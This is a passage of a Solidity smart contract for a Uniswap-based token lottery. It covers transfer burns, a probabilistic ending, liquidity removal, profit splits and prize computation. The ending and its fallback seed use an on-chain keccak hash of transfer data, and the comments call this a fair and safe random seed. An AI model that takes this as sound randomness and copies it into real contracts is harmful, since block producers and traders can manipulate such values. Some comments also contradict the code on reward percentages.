// (if buySellValue is negative):
//
// If we've already reached the minimum fund gain requirement,
// and this sell would shrink lottery liquidity pool's ETH funds
// below this requirement, then deny this sell, causing this
// transaction to fail.
if( fundGainRequirementReached &&
buySellValue < 0 &&
( uint( -1 * buySellValue ) >= ethFunds ||
ethFunds - uint( -1 * buySellValue ) <
cfg.fundRequirement_denySells ) )
{
require( false );
}
}
/**
* Check for finishing stage start conditions.
* - If some conditions are met, start finishing stage!
* Do it by setting "onFinishingStage" bool.
* - If we're currently on finishing stage, and some condition
* is no longer met, then stop the finishing stage.
*/
function checkFinishingStageConditions()
internal
{
// Firstly, check if lottery hasn't exceeded it's maximum lifetime.
// If so, don't check anymore, just set finishing stage, and
// end the lottery on further call of checkForEnding().
if( (now - startDate) > cfg.maxLifetime )
{
lotteryStage = uint8( STAGE.FINISHING );
return;
}
// Compute & check the finishing criteria.
// Notice that we adjust the config-specified fund gain
// percentage increase to uint-mode, by adding 100 percents,
// because we don't deal with negative percentages, and here
// we represent loss as a percentage below 100%, and gains
// as percentage above 100%.
// So, if in regular gains notation, it's said 10% gain,
// in uint mode, it's said 110% relative increase.
//
// (Also, remember that losses are impossible in our lottery
// working scheme).
if( lotStorage.getHolderCount() >= cfg.finishCriteria_minNumberOfHolders
&&
getCurrentEthFunds() >= cfg.finishCriteria_minFunds
&&
(now - startDate) >= cfg.finishCriteria_minTimeActive )
{
if( onStage( STAGE.ACTIVE ) )
{
// All conditions are met - start the finishing stage.
lotteryStage = uint8( STAGE.FINISHING );
emit FinishingStageStarted();
}
}
else if( onStage( STAGE.FINISHING ) )
{
// However, what if some condition was not met, but we're
// already on the finishing stage?
// If so, we must stop the finishing stage.
// But what to do with the finishing probability?
// Config specifies if it should be reset or maintain it's
// value until the next time finishing stage is started.
lotteryStage = uint8( STAGE.ACTIVE );
if( cfg.finish_resetProbabilityOnStop )
finishProbablity = cfg.finish_initialProbability;
emit FinishingStageStopped();
}
}
/**
* We're currently on finishing stage - so let's check if
* we should end the lottery now!
*
* This function is called from _transfer(), only if we're sure
* that we're currently on finishing stage (onFinishingStage
* variable is set).
*
* Here, we compute the pseudo-random number from hash of
* current message's sender, now, and other values,
* and modulo it to the current finish probability.
* If it's equal to 1, then we end the lottery!
*
* Also, here we update the finish probability according to
* probability update criteria - holder count, and tx count.
*
* @param holderCountChanged - indicates whether Holder Count
* has changed during this transfer (new holder joined, or
* a holder sold all his tokens).
*/
function checkForEnding( bool holderCountChanged )
internal
{
// At first, check if lottery max lifetime is exceeded.
// If so, start ending procedures right now.
if( (now - startDate) > cfg.maxLifetime )
{
startEndingStage();
return;
}
// Now, we know that lottery lifetime is still OK, and we're
// currently on Finishing Stage (because this function is
// called only when onFinishingStage is set).
//
// Now, check if we should End the lottery, by computing
// a modulo on a pseudo-random number, which is a transfer
// hash, computed for every transfer on _transfer() function.
//
// Get the modulo amount according to current finish
// probability.
// We use precision of 0.01% - notice the "10000 *" before
// 100 PERCENT.
// Later, when modulo'ing, we'll check if value is below 10000.
//
uint prec = 10000;
uint modAmount = (prec * _100PERCENT) / finishProbablity;
if( ( transferHashValue % modAmount ) <= prec )
{
// Finish probability is met! Commence lottery end -
// start Ending Stage.
startEndingStage();
return;
}
// Finish probability wasn't met.
// Update the finish probability, by increasing it!
// Transaction count criteria.
// As we know that this function is called on every new
// transfer (transaction), we don't check if transactionCount
// increased or not - we just perform probability update.
finishProbablity += cfg.finish_probabilityIncreaseStep_transaction;
// Now, perform holder count criteria update.
// Finish probability increases, no matter if holder count
// increases or decreases.
if( holderCountChanged )
finishProbablity += cfg.finish_probabilityIncreaseStep_holder;
}
/**
* Start the Ending Stage, by De-Activating the lottery,
* to deny all further token transfers (excluding the one when
* removing liquidity from Uniswap), and transition into the
* Mining Phase - set the lotteryStage to MINING.
*/
function startEndingStage()
internal
{
lotteryStage = uint8( STAGE.ENDING_MINING );
}
/**
* Execute the first step of the Mining Stage - request a
* Random Seed from the Randomness Provider.
*
* Here, we call the Randomness Provider, asking for a true random seed
* to be passed to us into our callback, named
* "finish_randomnessProviderCallback()".
*
* When that callback will be called, our storage's random seed will
* be set, and we'll be able to start the Ending Algorithm on
* further mining steps.
*
* Notice that Randomness Provider must already be funded, to
* have enough Ether for Provable fee and the gas costs of our
* callback function, which are quite high, because of winner
* selection algorithm, which is computationally expensive.
*
* The Randomness Provider is always funded by the Pool,
* right before the Pool deploys and starts a new lottery, so
* as every lottery calls the Randomness Provider only once,
* the one-call-fund method for every lottery is sufficient.
*
* Also notice, that Randomness Provider might fail to call
* our callback due to some unknown reasons!
* Then, the lottery profits could stay locked in this
* lottery contract forever ?!!
*
* No! We've thought about that - we've implemented the
* Alternative Ending mechanism, where, if specific time passes
* after we've made a request to Randomness Provider, and
* callback hasn't been called yet, we allow external actor to
* execute the Alternative ending, which basically does the
* same things as the default ending, just that the Random Seed
* will be computed locally in our contract, using the
* Pseudo-Random mechanism, which could compute a reasonably
* fair and safe value using data from holder array, and other
* values, described in more detail on corresponding function's
* description.
*/
function mine_requestRandomSeed()
internal
{
// We're sure that the Randomness Provider has enough funds.
// Execute the random request, and get ready for Ending Algorithm.
IRandomnessProvider( randomnessProvider )
.requestRandomSeedForLotteryFinish();
// Store the time when random seed has been requested, to
// be able to alternatively handle the lottery finish, if
// randomness provider doesn't call our callback for some
// reason.
finish_timeRandomSeedRequested = uint32( now );
// Emit appropriate events.
emit RandomnessProviderCalled();
}
/** PAYABLE [ OUT ] >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
*
* Transfer the Owner & Pool profit shares, when lottery ends.
* This function is the first one that's executed on the Mining
* Stage.
* This is the first step of Mining. So, the Miner who executes this
* function gets the mining reward.
*
* This function's job is to Gather the Profits & Initial Funds,
* and Transfer them to Profiters - that is, to The Pool, and
* to The Owner.
*
* The Miners' profit share and Winner Prize Fund stay in this
* contract.
*
* On this function, we (in this order):
*
* 1. Remove all liquidity from Uniswap (if using Uniswap Mode),
* pulling it to our contract's wallet.
*
* 2. Transfer the Owner and the Pool ETH profit shares to
* Owner and Pool addresses.
*
* * This function transfers Ether out of our contract:
* - We transfer the Profits to Pool and Owner addresses.
*/
function mine_removeUniswapLiquidityAndTransferProfits()
internal
mutexLOCKED
{
// We've already approved our token allowance to Router.
// Now, approve Uniswap liquidity token's Router allowance.
ERC20( exchangeAddress ).approve( address(uniswapRouter), uint(-1) );
// Enable the SPECIAL-TRANSFER mode, to allow Uniswap to transfer
// the tokens from Pair to Router, and then from Router to us.
specialTransferModeEnabled = true;
// Remove liquidity!
uint amountETH = uniswapRouter
.removeLiquidityETHSupportingFeeOnTransferTokens(
address(this), // address token,
ERC20( exchangeAddress ).balanceOf( address(this) ),
0, // uint amountTokenMin,
0, // uint amountETHMin,
address(this), // address to,
(now + 10000000) // uint deadline
);
// Tokens are transfered. Disable the special transfer mode.
specialTransferModeEnabled = false;
// Check that we've got a correct amount of ETH.
require( address(this).balance >= amountETH &&
address(this).balance >= cfg.initialFunds );
// Compute the Profit Amount (current balance - initial funds).
ending_totalReturn = uint128( address(this).balance );
ending_profitAmount = ending_totalReturn - uint128( cfg.initialFunds );
// Compute, and Transfer Owner's profit share and
// Pool's profit share to their respective addresses.
uint poolShare = ( ending_profitAmount * cfg.poolProfitShare ) /
( _100PERCENT );
uint ownerShare = ( ending_profitAmount * cfg.ownerProfitShare ) /
( _100PERCENT );
// To pool, transfer it's profit share plus initial funds.
IUniLotteryPool( poolAddress ).lotteryFinish
{ value: poolShare + cfg.initialFunds }
( ending_totalReturn, ending_profitAmount );
// Transfer Owner's profit share.
OWNER_ADDRESS.transfer( ownerShare );
// Emit ending event.
emit LotteryEnd( ending_totalReturn, ending_profitAmount );
}
/**
* Executes a single step of the Winner Selection Algorithm
* (the Ending Algorithm).
* The algorithm itself is being executed in the Storage contract.
*
* On current design, whole algorithm is executed in a single step.
*
* This function is executed only in the Mining stage, and
* accounts for most of the gas spent during mining.
*/
function mine_executeEndingAlgorithmStep()
internal
{
// Launch the winner algorithm, to execute the next step.
lotStorage.executeWinnerSelectionAlgorithm();
}
// =============== Public functions =============== //
/**
* Constructor of this delegate code contract.
* Here, we set OUR STORAGE's lotteryStage to DISABLED, because
* we don't want anybody to call this contract directly.
*/
constructor() public
{
lotteryStage = uint8( STAGE.DISABLED );
}
/**
* Construct the lottery contract which is delegating it's
* call to us.
*
* @param config - LotteryConfig structure to use in this lottery.
*
* Future approach: ABI-encoded Lottery Config
* (different implementations might use different config
* structures, which are ABI-decoded inside the implementation).
*
* Also, this "config" includes the ABI-encoded temporary values,
* which are not part of persisted LotteryConfig, but should
* be used only in constructor - for example, values to be
* assigned to storage variables, such as ERC20 token's
* name, symbol, and decimals.
*
* @param _poolAddress - Address of the Main UniLottery Pool, which
* provides initial funds, and receives it's profit share.
*
* @param _randomProviderAddress - Address of a Randomness Provider,
* to use for obtaining random seeds.
*
* @param _storageAddress - Address of a Lottery Storage.
* Storage contract is a separate contract which holds all
* lottery token holder data, such as intermediate scores.
*
*/
function construct(
LotteryConfig memory config,
address payable _poolAddress,
address _randomProviderAddress,
address _storageAddress )
external
{
// Check if contract wasn't already constructed!
require( poolAddress == address( 0 ) );
// Set the Pool's Address - notice that it's not the
// msg.sender, because lotteries aren't created directly
// by the Pool, but by the Lottery Factory!
poolAddress = _poolAddress;
// Set the Randomness Provider address.
randomnessProvider = _randomProviderAddress;
// Check the minimum & maximum requirements for config
// profit & lifetime parameters.
require( config.maxLifetime <= MAX_LOTTERY_LIFETIME );
require( config.poolProfitShare >= MIN_POOL_PROFITS &&
config.poolProfitShare <= MAX_POOL_PROFITS );
require( config.ownerProfitShare >= MIN_OWNER_PROFITS &&
config.ownerProfitShare <= MAX_OWNER_PROFITS );
require( config.minerProfitShare >= MIN_MINER_PROFITS &&
config.minerProfitShare <= MAX_MINER_PROFITS );
// Check if winner profit share is good.
uint32 totalWinnerShare =
(_100PERCENT) - config.poolProfitShare
- config.ownerProfitShare
- config.minerProfitShare;
require( totalWinnerShare >= MIN_WINNER_PROFIT_SHARE );
// Check if ending algorithm params are good.
require( config.randRatio_scorePart != 0 &&
config.randRatio_randPart != 0 &&
( config.randRatio_scorePart +
config.randRatio_randPart ) < 10000 );
require( config.endingAlgoType ==
uint8( EndingAlgoType.MinedWinnerSelection ) ||
config.endingAlgoType ==
uint8( EndingAlgoType.WinnerSelfValidation ) ||
config.endingAlgoType ==
uint8( EndingAlgoType.RolledRandomness ) );
// Set the number of winners (winner count).
// If using Computed Sequence winner prize shares, set that
// value, and if it's zero, then we're using the Array-Mode
// prize share specification.
if( config.prizeSequence_winnerCount == 0 &&
config.winnerProfitShares.length != 0 )
config.prizeSequence_winnerCount =
uint16( config.winnerProfitShares.length );
// Setup our Lottery Storage - initialize, and set the
// Algorithm Config.
LotteryStorage _lotStorage = LotteryStorage( _storageAddress );
// Setup a Winner Score Config for the winner selection algo,
// to be used in the Lottery Storage.
LotteryStorage.WinnerAlgorithmConfig memory winnerConfig;
// Algorithm type.
winnerConfig.endingAlgoType = config.endingAlgoType;
// Individual player max score parts.
winnerConfig.maxPlayerScore_etherContributed =
config.maxPlayerScore_etherContributed;
winnerConfig.maxPlayerScore_tokenHoldingAmount =
config.maxPlayerScore_tokenHoldingAmount;
winnerConfig.maxPlayerScore_timeFactor =
config.maxPlayerScore_timeFactor;
winnerConfig.maxPlayerScore_refferalBonus =
config.maxPlayerScore_refferalBonus;
// Score-To-Random ratio parts.
winnerConfig.randRatio_scorePart = config.randRatio_scorePart;
winnerConfig.randRatio_randPart = config.randRatio_randPart;
// Set winner count (no.of winners).
winnerConfig.winnerCount = config.prizeSequence_winnerCount;
// Initialize the storage (bind it to our contract).
_lotStorage.initialize( winnerConfig );
// Set our immutable variable.
lotStorage = _lotStorage;
// Now, set our config to the passed config.
cfg = config;
// Might be un-needed (can be replaced by Constant on the MainNet):
WETHaddress = uniswapRouter.WETH();
}
/** PAYABLE [ IN ] <<<<<<<<<<<<<<<<<<<<<<<<<<<<
*
* Fallback Receive Ether function.
* Used to receive ETH funds back from Uniswap, on lottery's end,
* when removing liquidity.
*/
receive() external payable
{
emit FallbackEtherReceiver( msg.sender, msg.value );
}
/** PAYABLE [ IN ] <<<<<<<<<<<<<<<<<<<<<<<<<<<<
* PAYABLE [ OUT ] >>>>>>>>>>>>>>>>>>>>>>>>>>>>
*
* Initialization function.
* Here, the most important startup operations are made -
* such as minting initial token supply and transfering it to
* the Uniswap liquidity pair, in exchange for UNI-v2 tokens.
*
* This function is called by the pool, when transfering
* initial funds to this contract.
*
* What's payable?
* - Pool transfers initial funds to our contract.
* - We transfer that initial fund Ether to Uniswap liquidity pair
* when creating/providing it.
*/
function initialize()
external
payable
poolOnly
mutexLOCKED
onlyOnStage( STAGE.INITIAL )
{
// Check if pool transfered correct amount of funds.
require( address( this ).balance == cfg.initialFunds );
// Set start date.
startDate = uint32( now );
// Set the initial transfer hash value.
transferHashValue = uint( keccak256(
abi.encodePacked( msg.sender, now ) ) );
// Set initial finish probability, to be used when finishing
// stage starts.
finishProbablity = cfg.finish_initialProbability;
// ===== Active operations - mint & distribute! ===== //
// Mint full initial supply of tokens to our contract address!
_mint( address(this),
uint( cfg.initialTokenSupply ) * (10 ** decimals) );
// Now - prepare to create a new Uniswap Liquidity Pair,
// with whole our total token supply and initial funds ETH
// as the two liquidity reserves.
// Approve Uniswap Router to allow it to spend our tokens.
// Set maximum amount available.
_approve( address(this), address( uniswapRouter ), uint(-1) );
// Provide liquidity - the Router will automatically
// create a new Pair.
uniswapRouter.addLiquidityETH
{ value: address(this).balance }
(
address(this), // address token,
totalSupply(), // uint amountTokenDesired,
totalSupply(), // uint amountTokenMin,
address(this).balance, // uint amountETHMin,
address(this), // address to,
(now + 1000) // uint deadline
);
// Get the Pair address - that will be the exchange address.
exchangeAddress = IUniswapFactory( uniswapRouter.factory() )
.getPair( WETHaddress, address(this) );
// We assume that the token reserves of the pair are good,
// and that we own the full amount of liquidity tokens.
// Find out which of the pair tokens is WETH - is it the
// first or second one. Use it later, when getting our share.
if( IUniswapPair( exchangeAddress ).token0() == WETHaddress )
uniswap_ethFirst = true;
else
uniswap_ethFirst = false;
// Move to ACTIVE lottery stage.
// Now, all token transfers will be allowed.
lotteryStage = uint8( STAGE.ACTIVE );
// Lottery is initialized. We're ready to emit event.
emit LotteryInitialized();
}
// Return this lottery's initial funds, as were specified in the config.
//
function getInitialFunds() external view
returns( uint )
{
return cfg.initialFunds;
}
// Return active (still not returned to pool) initial fund value.
// If no-longer-active, return 0 (default) - because funds were
// already returned back to the pool.
//
function getActiveInitialFunds() external view
returns( uint )
{
if( onStage( STAGE.ACTIVE ) )
return cfg.initialFunds;
return 0;
}
/**
* Get current Exchange's Token and ETH reserves.
* We're on Uniswap mode, so get reserves from Uniswap.
*/
function getReserves()
external view
returns( uint _ethReserve, uint _tokenReserve )
{
// Use data from Uniswap pair contract.
( uint112 res0, uint112 res1, ) =
IUniswapPair( exchangeAddress ).getReserves();
if( uniswap_ethFirst )
return ( res0, res1 );
else
return ( res1, res0 );
}
/**
* Get our share (ETH amount) of the Uniswap Pair ETH reserve,
* of our Lottery tokens ULT-WETH liquidity pair.
*/
function getCurrentEthFunds()
public view
returns( uint ethAmount )
{
IUniswapPair pair = IUniswapPair( exchangeAddress );
( uint112 res0, uint112 res1, ) = pair.getReserves();
uint resEth = uint( uniswap_ethFirst ? res0 : res1 );
// Compute our amount of the ETH reserve, based on our
// percentage of our liquidity token balance to total supply.
uint liqTokenPercentage =
( pair.balanceOf( address(this) ) * (_100PERCENT) ) /
( pair.totalSupply() );
// Compute and return the ETH reserve.
return ( resEth * liqTokenPercentage ) / (_100PERCENT);
}
/**
* Get current finish probability.
* If it's ACTIVE stage, return 0 automatically.
*/
function getFinishProbability()
external view
returns( uint32 )
{
if( onStage( STAGE.FINISHING ) )
return finishProbablity;
return 0;
}
/**
* Generate a referral ID for msg.sender, who must be a token holder.
* Referral ID is used to refer other wallets into playing our
* lottery.
* - Referrer gets bonus points for every wallet that bought
* lottery tokens and specified his referral ID.
* - Referrees (wallets who got referred by registering a valid
* referral ID, corresponding to some referrer), get some
* bonus points for specifying (registering) a referral ID.
*
* Referral ID is a uint256 number, which is generated by
* keccak256'ing the holder's address, holder's current
* token ballance, and current time.
*/
function generateReferralID()
external
onlyOnStage( STAGE.ACTIVE )
{
uint256 refID = lotStorage.generateReferralID( msg.sender );
// Emit approppriate events.
emit ReferralIDGenerated( msg.sender, refID );
}
/**
* Register a referral for a msg.sender (must be token holder),
* using a valid referral ID got from a referrer.
* This function is called by a referree, who obtained a
* valid referral ID from some referrer, who previously
* generated it using generateReferralID().
*
* You can only register a referral once!
* When you do so, you get bonus referral points!
*/
function registerReferral(
uint256 referralID )
external
onlyOnStage( STAGE.ACTIVE )
{
address referrer = lotStorage.registerReferral(
msg.sender,
cfg.playerScore_referralRegisteringBonus,
referralID );
// Emit approppriate events.
emit ReferralRegistered( msg.sender, referrer, referralID );
}
/**
* The most important function of this contract - Transfer Function.
*
* Here, all token burning, intermediate score tracking, and
* finish condition checking is performed, according to the
* properties specified in config.
*/
function _transfer( address sender,
address receiver,
uint256 amount )
internal
override
{
// Check if transfers are allowed in current state.
// On Non-Active stage, transfers are allowed only from/to
// our contract.
// As we don't have Standalone Mode on this lottery variation,
// that means that tokens to/from our contract are travelling
// only when we transfer them to Uniswap Pair, and when
// Uniswap transfers them back to us, on liquidity remove.
//
// On this state, we also don't perform any burns nor
// holding trackings - just transfer and return.
if( !onStage( STAGE.ACTIVE ) &&
!onStage( STAGE.FINISHING ) &&
( sender == address(this) || receiver == address(this) ||
specialTransferModeEnabled ) )
{
super._transfer( sender, receiver, amount );
return;
}
// Now, we know that we're NOT on special mode.
// Perform standard checks & brecks.
require( ( onStage( STAGE.ACTIVE ) ||
onStage( STAGE.FINISHING ) ) );
// Can't transfer zero tokens, or use address(0) as sender.
require( amount != 0 && sender != address(0) );
// Compute the Burn Amount - if buying tokens from an exchange,
// we use a lower burn rate - to incentivize buying!
// Otherwise (if selling or just transfering between wallets),
// we use a higher burn rate.
uint burnAmount;
// It's a buy - sender is an exchange.
if( sender == exchangeAddress )
burnAmount = ( amount * cfg.burn_buyerRate ) / (_100PERCENT);
else
burnAmount = ( amount * cfg.burn_defaultRate ) / (_100PERCENT);
// Now, compute the final amount to be gotten by the receiver.
uint finalAmount = amount - burnAmount;
// Check if receiver's balance won't exceed the max-allowed!
// Receiver must not be an exchange.
if( receiver != exchangeAddress )
{
require( !transferExceedsMaxBalance( receiver, finalAmount ) );
}
// Now, update holder data array accordingly.
bool holderCountChanged = updateHolderData_preTransfer(
sender,
receiver,
amount, // Amount Sent (Pre-Fees)
finalAmount // Amount Received (Post-Fees).
);
// All is ok - perform the burn and token transfers now.
// Burn token amount from sender's balance.
super._burn( sender, burnAmount );
// Finally, transfer the final amount from sender to receiver.
super._transfer( sender, receiver, finalAmount );
// Compute new Pseudo-Random transfer hash, which must be
// computed for every transfer, and is used in the
// Finishing Stage as a pseudo-random unique value for
// every transfer, by which we determine whether lottery
// should end on this transfer.
//
// Compute it like this: keccak the last (current)
// transferHashValue, msg.sender, sender, receiver, amount.
transferHashValue = uint( keccak256( abi.encodePacked(
transferHashValue, msg.sender, sender, receiver, amount ) ) );
// Check if we should be starting a finishing stage now.
checkFinishingStageConditions();
// If we're on finishing stage, check for ending conditions.
// If ending check is satisfied, the checkForEnding() function
// starts ending operations.
if( onStage( STAGE.FINISHING ) )
checkForEnding( holderCountChanged );
}
/**
* Callback function, which is called from Randomness Provider,
* after it obtains a random seed to be passed to us, after
* we have initiated The Ending Stage, on which random seed
* is used to generate random factors for Winner Selection
* algorithm.
*/
function finish_randomnessProviderCallback(
uint256 randomSeed,
uint256 /*callID*/ )
external
randomnessProviderOnly
{
// Set the random seed in the Storage Contract.
lotStorage.setRandomSeed( randomSeed );
// If algo-type is not Mined Winner Selection, then by now
// we assume lottery as COMPL3T3D.
if( cfg.endingAlgoType != uint8(EndingAlgoType.MinedWinnerSelection) )
{
lotteryStage = uint8( STAGE.COMPLETION );
completionDate = uint32( now );
}
}
/**
* Function checks if we can initiate Alternative Seed generation.
*
* Alternative approach to Lottery Random Seed is used only when
* Randomness Provider doesn't work, and doesn't call the
* above callback.
*
* This alternative approach can be initiated by Miners, when
* these conditions are met:
* - Lottery is on Ending (Mining) stage.
* - Request to Randomness Provider was made at least X time ago,
* and our callback hasn't been called yet.
*
* If these conditions are met, we can initiate the Alternative
* Random Seed generation, which generates a seed based on our
* state.
*/
function alternativeSeedGenerationPossible()
internal view
returns( bool )
{
return ( onStage( STAGE.ENDING_MINING ) &&
( (now - finish_timeRandomSeedRequested) >
cfg.REQUIRED_TIME_WAITING_FOR_RANDOM_SEED ) );
}
/**
* Return this lottery's config, using ABIEncoderV2.
*/
/*function getLotteryConfig()
external view
returns( LotteryConfig memory ourConfig )
{
return cfg;
}*/
/**
* Checks if Mining is currently available.
*/
function isMiningAvailable()
external view
returns( bool )
{
return onStage( STAGE.ENDING_MINING ) &&
( miningStep == 0 ||
( miningStep == 1 &&
( lotStorage.getRandomSeed() != 0 ||
alternativeSeedGenerationPossible() )
) );
}
/** PAYABLE [ OUT ] >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
*
* Mining function, to be executed on Ending (Mining) stage.
*
* "Mining" approach is used in this lottery, to use external
* actors for executing the gas-expensive Ending Algorithm,
* and other ending operations, such as profit transfers.
*
* "Miners" can be any external actors who call this function.
* When Miner successfully completes a Mining Step, he gets
* a Mining Reward, which is a certain portion of lottery's profit
* share, dedicated to Miners.
*
* NOT-IMPLEMENTED APPROACH:
*
* All these operations are divided into "mining steps", which are
* smaller components, which fit into reasonable gas limits.
* All "steps" are designed to take up similar amount of gas.
*
* For example, if total lottery profits (total ETH got from
* pulling liquidity out of Uniswap, minus initial funds),
* is 100 ETH, Miner Profit Share is 10%, and there are 5 mining
* steps total, then for a singe step executed, miner will get:
*
* (100 * 0.1) / 5 = 2 ETH.
*
* ---------------------------------
*
* CURRENTLY IMPLEMENTED APPROACH:
*
* As the above-defined approach would consume very much gas for
* inter-step intermediate state storage, we have thought that
* for now, it's better to have only 2 mining steps, the second of
* which performs the whole Winner Selection Algorithm.
*
* This is because performing the whole algorithm at once would save
* us up to 10x more gas in total, than executing it in steps.
*
* However, this solution is not scalable, because algorithm has
* to fit into block gas limit (10,000,000 gas), so we are limited
* to a certain safe maximum number of token holders, which is
* empirically determined during testing, and defined in the
* MAX_SAFE_NUMBER_OF_HOLDERS constant, which is checked against the
* config value "finishCriteria_minNumberOfHolders" in constructor.
*
* So, in this approach, there are only 2 mining steps:
*
* 1. Remove liquidity from Uniswap, transfer profit shares to
* the Pool and the Owner Address, and request Random Seed
* from the Randomness Provider.
* Reward: 25% of total Mining Rewards.
*
* 2. Perform the whole Winner Selection Algorithm inside the
* Lottery Storage contract.
* Reward: 75% of total Mining Rewards.
*
* * Function transfers Ether out of our contract:
* - Transfers the current miner's reward to msg.sender.
*/
function mine()
external
onlyOnStage( STAGE.ENDING_MINING )
{
uint currentStepReward;
// Perform different operations on different mining steps.
// Step 0: Remove liquidity from Uniswap, transfer profits to
// Pool and Owner addresses. Also, request a Random Seed
// from the Randomness Provider.
if( miningStep == 0 )
{
mine_requestRandomSeed();
mine_removeUniswapLiquidityAndTransferProfits();
// Compute total miner reward amount, then compute this
// step's reward later.
uint totalMinerRewards =
( ending_profitAmount * cfg.minerProfitShare ) /
( _100PERCENT );
// Step 0 reward is 10% for Algo type 1.
if( cfg.endingAlgoType == uint8(EndingAlgoType.MinedWinnerSelection) )
{
currentStepReward = ( totalMinerRewards * (10 * PERCENT) ) /
( _100PERCENT );
}
// If other algo-types, second step is not normally needed,
// so here we take 80% of miner rewards.
// If Randomness Provider won't give us a seed after
// specific amount of time, we'll initiate a second step,
// with remaining 20% of miner rewords.
else
{
currentStepReward = ( totalMinerRewards * (80 * PERCENT) ) /
( _100PERCENT );
}
require( currentStepReward <= totalMinerRewards );
}
// Step 1:
// If we use MinedWinnerSelection algo-type, then execute the
// winner selection algorithm.
// Otherwise, check if Random Provider hasn't given us a
// random seed long enough, so that we have to generate a
// seed locally.
else
{
// Check if we can go into this step when using specific
// ending algorithm types.
if( cfg.endingAlgoType != uint8(EndingAlgoType.MinedWinnerSelection) )
{
require( lotStorage.getRandomSeed() == 0 &&
alternativeSeedGenerationPossible() );
}
// Compute total miner reward amount, then compute this
// step's reward later.
uint totalMinerRewards =
( ending_profitAmount * cfg.minerProfitShare ) /
( _100PERCENT );
// Firstly, check if random seed is already obtained.
// If not, check if we should generate it locally.
if( lotStorage.getRandomSeed() == 0 )
{
if( alternativeSeedGenerationPossible() )
{
// Set random seed inside the Storage Contract,
// but using our contract's transferHashValue as the
// random seed.
// We believe that this hash has enough randomness
// to be considered a fairly good random seed,
// because it has beed chain-computed for every
// token transfer that has occured in ACTIVE stage.
//
lotStorage.setRandomSeed( transferHashValue );
// If using Non-Mined algorithm types, reward for this
// step is 20% of miner funds.
if( cfg.endingAlgoType !=
uint8(EndingAlgoType.MinedWinnerSelection) )
{
currentStepReward =
( totalMinerRewards * (20 * PERCENT) ) /
( _100PERCENT );
}
}
else
{
// If alternative seed generation is not yet possible
// (not enough time passed since the rand.provider
// request was made), then mining is not available
// currently.
require( false );
}
}
// Now, we know that Random Seed is obtained.
// If we use this algo-type, perform the actual
// winner selection algorithm.
if( cfg.endingAlgoType == uint8(EndingAlgoType.MinedWinnerSelection) )
{
mine_executeEndingAlgorithmStep();
// Set the prize amount to SECOND STEP prize amount (90%).
currentStepReward = ( totalMinerRewards * (90 * PERCENT) ) /
( _100PERCENT );
}
// Now we've completed both Mining Steps, it means MINING stage
// is finally completed!
// Transition to COMPLETION stage, and set lottery completion
// time to NOW.
lotteryStage = uint8( STAGE.COMPLETION );
completionDate = uint32( now );
require( currentStepReward <= totalMinerRewards );
}
// Now, transfer the reward to miner!
// Check for bugs too - if the computed amount doesn't exceed.
// Increment the mining step - move to next step (if there is one).
miningStep++;
// Check & Lock the Re-Entrancy Lock for transfers.
require( ! reEntrancyMutexLocked );
reEntrancyMutexLocked = true;
// Finally, transfer the reward to message sender!
msg.sender.transfer( currentStepReward );
// UnLock ReEntrancy Lock.
reEntrancyMutexLocked = false;
}
/**
* Function computes winner prize amount for winner at rank #N.
* Prerequisites: Must be called only on STAGE.COMPLETION stage,
* because we use the final profits amount here, and that value
* (ending_profitAmount) is known only on COMPLETION stage.
*
* @param rankingPosition - ranking position of a winner.
* @return finalPrizeAmount - prize amount, in Wei, of this winner.
*/
function getWinnerPrizeAmount(
uint rankingPosition )
public view
returns( uint finalPrizeAmount )
{
// Calculate total winner prize fund profit percentage & amount.
uint winnerProfitPercentage =
(_100PERCENT) - cfg.poolProfitShare -
cfg.ownerProfitShare - cfg.minerProfitShare;
uint totalPrizeAmount =
( ending_profitAmount * winnerProfitPercentage ) /
( _100PERCENT );
// We compute the prize amounts differently for the algo-type
// RolledRandomness, because distribution of these prizes is
// non-deterministic - multiple holders could fall onto the
// same ranking position, due to randomness of rolled score.
//
if( cfg.endingAlgoType == uint8(EndingAlgoType.RolledRandomness) )
{
// Here, we'll use Prize Sequence Factor approach differently.
// We'll use the prizeSequenceFactor value not to compute
// a geometric progression, but to compute an arithmetic
// progression, where each ranking position will get a
// prize equal to
// "totalPrizeAmount - rankingPosition * singleWinnerShare"
//
// singleWinnerShare is computed as a value corresponding
// to single-winner's share of total prize amount.
//
// Using such an approach, winner at rank 0 would get a
// prize equal to whole totalPrizeAmount, but, as the
// scores are rolled using random factor, it's very unlikely
// to get a such high score, so most likely such prize
// won't ever be claimed, but it is a possibility.
//
// Most of the winners in this approach are likely to
// roll scores in the middle, so would get prizes equal to
// 1-10% of total prize funds.
uint singleWinnerShare = totalPrizeAmount /
cfg.prizeSequence_winnerCount;
return totalPrizeAmount - rankingPosition * singleWinnerShare;
}
// Now, we know that ending algorithm is normal (deterministic).
// So, compute the prizes in a standard way.
// If using Computed Sequence: loop for "rankingPosition"
// iterations, while computing the prize shares.
// If "rankingPosition" is larger than sequencedWinnerCount,
// then compute the prize from sequence-leftover amount.
if( cfg.prizeSequenceFactor != 0 )
{
require( rankingPosition < cfg.prizeSequence_winnerCount );
// Leftover: If prizeSequenceFactor is 25%, it's 75%.
uint leftoverPercentage =
(_100PERCENT) - cfg.prizeSequenceFactor;
// Loop until the needed iteration.
uint loopCount = (
rankingPosition >= cfg.prizeSequence_sequencedWinnerCount ?
cfg.prizeSequence_sequencedWinnerCount :
rankingPosition
);
for( uint i = 0; i < loopCount; i++ )
{
totalPrizeAmount =
( totalPrizeAmount * leftoverPercentage ) /
( _100PERCENT );
}
// Get end prize amount - sequenced, or leftover.
// Leftover-mode.
if( loopCount == cfg.prizeSequence_sequencedWinnerCount &&
cfg.prizeSequence_winnerCount >
cfg.prizeSequence_sequencedWinnerCount )
{
// Now, totalPrizeAmount equals all leftover-group winner
// prize funds.
// So, just divide it by number of leftover winners.
finalPrizeAmount =
( totalPrizeAmount ) /
( cfg.prizeSequence_winnerCount -
cfg.prizeSequence_sequencedWinnerCount );
}
// Sequenced-mode
else
{
finalPrizeAmount =
( totalPrizeAmount * cfg.prizeSequenceFactor ) /
( _100PERCENT );
}
}
// Else, if we're using Pre-Specified Array of winner profit
// shares, just get the share at the corresponding index.
else
{
require( rankingPosition < cfg.winnerProfitShares.length );
finalPrizeAmount =
( totalPrizeAmount *
cfg.winnerProfitShares[ rankingPosition ] ) /
( _100PERCENT );
}
}
/**
* After lottery has completed, this function returns if msg.sender
* is one of lottery winners, and the position in winner rankings.
*
* Function must be used to obtain the ranking position before
* calling claimWinnerPrize().
*
